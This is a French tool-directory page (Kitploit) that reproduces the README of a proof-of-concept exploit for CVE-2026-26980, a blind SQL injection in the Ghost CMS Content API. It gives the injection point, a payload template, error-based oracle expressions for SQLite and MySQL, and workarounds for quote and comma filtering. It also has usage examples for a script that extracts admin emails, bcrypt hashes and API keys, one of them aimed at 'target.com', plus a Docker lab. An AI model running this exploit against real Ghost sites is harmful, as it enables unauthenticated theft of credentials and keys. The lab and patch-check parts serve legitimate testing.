Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-26980-PoC — Ghost CMS Content API Blind SQL Injection | Kitploit
Outils/GitHubGitHub/n0bitaemon/cve-2026-26980-poc
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration TestingDatabase SecurityLabs & Practice
GitHubn0bitaemon/cve-2026-26980-poc

CVE-2026-26980-PoC

Ghost CMS Content API Blind SQL Injection

Voir le dépôt
1il y a 1 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-26980 — Injection SQL aveugle dans l'API de contenu de Ghost CMS

Affecté : Ghost 3.24.0 – 6.19.0
Corrigé dans : Ghost 6.19.1
Authentification requise : Aucune — la clé d'API de contenu est publique
Impact : Lecture non authentifiée de l'intégralité de la base de données (identifiants, clés API)


Vulnérabilité

slug-filter-order.js interpole directement les valeurs de slug fournies par l'utilisateur dans une clause SQL brute ORDER BY au lieu d'utiliser des liaisons paramétrées.

root@kitploit:~
// VULNÉRABLE — Ghost < 6.19.1
const slugList = slugs.map(s => `'${s}'`).join(',');
return `CASE WHEN ${table}.slug IN (${slugList}) THEN FIELD(...) ELSE ... END ASC`;
//                                  ^^^^^^^^^^^ interpolation brute de chaîne

// CORRIGÉ — Ghost 6.19.1
knex.orderByRaw('CASE WHEN slug = ? THEN 0 ELSE 1 END', [slugValue]);

Point d'injection :

root@kitploit:~
GET /ghost/api/content/posts/?key=<clé_api_contenu>&filter=slug:[<PAYLOAD>,<ancre>]

Modèle de payload :

root@kitploit:~
slug:['||<EXPR_SQL>||',<slug-ancre>]

Oracle

L'expression injectée agit comme un oracle booléen basé sur les erreurs.

Contraintes NQL — l'expression SQL à l'intérieur des crochets ne doit pas contenir de guillemets simples (') ni de virgules (,) :

ProblèmeSolution SQLiteSolution MySQL
Chaîne littérale 'contenu'`CHAR(99)
Caractère à la position NComparaison de chaîne basée sur le préfixeASCII(SUBSTR(x FROM N FOR 1))

|| est la concaténation de chaînes dans SQLite mais le OU logique dans MySQL — les chaînes littérales doivent être encodées différemment selon le moteur.


Utilisation

root@kitploit:~
python3 exploit/exploit.py --url URL --key KEY [--slug SLUG] [drapeaux de données] [options]

Requis :
  --url URL       URL de base de Ghost (ex. http://localhost:2368)
  --key KEY       Clé d'API de contenu

Optionnel :
  --slug SLUG     Slug d'ancrage (découvert automatiquement depuis l'API si omis)
  --dbms {auto,sqlite,mysql}   Moteur de base de données (par défaut : auto-détection)
  --delay N       Secondes entre les requêtes — pour éviter HTTP 429 (défaut : 0)
  --proxy URL     Proxy HTTP (ex. http://127.0.0.1:8080) (défaut : aucun)
  --validate-fix  Tester si la cible est patchée, puis quitter

Drapeaux de données (au moins un requis) :
  --email         Adresse(s) email de l'utilisateur
  --hash          Hachage(s) bcrypt de l'utilisateur
  --content-key   Clé(s) API de contenu
  --admin-key     Clé(s) API admin
  --all           Raccourci pour --email --hash --content-key --admin-key

Modificateur :
  --all-records   Extraire TOUS les enregistrements pour le(s) drapeau(x) sélectionné(s) au lieu du seul premier

Exemples

root@kitploit:~
# Extraire le premier email + hachage admin (sans proxy)
python3 exploit/exploit.py \
  --url http://localhost:2368 \
  --key <clé_api_contenu> \
  --email --hash --no-proxy

# Tout extraire, premier enregistrement de chaque
python3 exploit/exploit.py \
  --url http://localhost:2368 \
  --key <clé_api_contenu> \
  --all --no-proxy

# Extraire toutes les clés API de contenu
python3 exploit/exploit.py \
  --url http://localhost:2368 \
  --key <clé_api_contenu> \
  --content-key --all-records

# Extraire TOUS les enregistrements de TOUS les types de données
python3 exploit/exploit.py \
  --url http://localhost:2368 \
  --key <clé_api_contenu> \
  --all --all-records

# Router via le proxy Burp
python3 exploit/exploit.py \
  --url http://localhost:2368 \
  --key <clé_api_contenu> \
  --all --proxy http://127.0.0.1:8080

# Forcer le moteur MySQL, ajouter un délai pour éviter la limitation de débit
python3 exploit/exploit.py \
  --url http://target.com \
  --key <clé_api_contenu> \
  --all --dbms mysql --delay 0.5

# Vérifier que la version patchée n'est pas exploitable
python3 exploit/exploit.py \
  --url http://localhost:2369 \
  --key <clé_api_contenu> \
  --validate-fix

Limitation de débit (HTTP 429)

Ghost limite par défaut les requêtes à l'API de contenu. Options :

  1. Passer --delay 0.5 pour ajouter un délai entre les requêtes
  2. Définir API_RATE_LIMIT_ENABLED: "false" dans l'environnement docker-compose et redémarrer

Références

  • Avis de sécurité Ghost : GHSA-w52v-v783-gw97
  • NVD : CVE-2026-26980
  • Diff du correctif : slug-filter-order.js dans Ghost 6.18.0 → 6.19.1

Configuration du laboratoire

Pour référence seulement — ignorez si vous avez déjà une instance Ghost vulnérable.

Prérequis

  • Docker + Docker Compose
  • Python 3.9+ avec pip install requests

Structure des répertoires

root@kitploit:~
ghost-cve-2026-26980/
├── mysql_docker-compose.yml    # Ghost + MySQL 8.0
├── sqlite_docker-compose.yml   # Ghost + SQLite (par défaut)
├── mysql-init/
│   └── 01-init.sql             # crée la base ghost_patch, accorde l'accès
├── vulnerable/
│   └── Dockerfile              # Ghost 6.18.0
├── patched/
│   └── Dockerfile              # Ghost 6.19.1
└── exploit/
    └── exploit.py

Les deux fichiers compose exposent :

  • http://localhost:2368 — vulnérable (Ghost 6.18.0)
  • http://localhost:2369 — patché (Ghost 6.19.1)

Démarrer avec SQLite

root@kitploit:~
docker compose -f sqlite_docker-compose.yml up -d

Démarrer avec MySQL

root@kitploit:~
docker compose -f mysql_docker-compose.yml up -d

Identifiants MySQL : host=localhost:3306 user=ghost password=ghostpass
Bases de données : ghost_vuln (port 2368) / ghost_patch (port 2369)

Configuration initiale

Attendez environ 60 s que Ghost s'initialise, puis :

  1. Allez sur http://localhost:2368/ghost — créez un compte administrateur et publiez au moins un article
  2. Copiez la clé API de contenu depuis Ghost Admin → Paramètres → Intégrations

Réinitialiser le laboratoire

root@kitploit:~
# SQLite
docker compose -f sqlite_docker-compose.yml down -v
docker compose -f sqlite_docker-compose.yml up -d

# MySQL
docker compose -f mysql_docker-compose.yml down -v
docker compose -f mysql_docker-compose.yml up -d
Télécharger l’outil
MoteurVRAIFAUX
SQLitehex(randomblob(10^15)) → OOM → HTTP 500ELSE 0 → HTTP 200
MySQLTHEN 0 → HTTP 200EXP(710) débordement → HTTP 500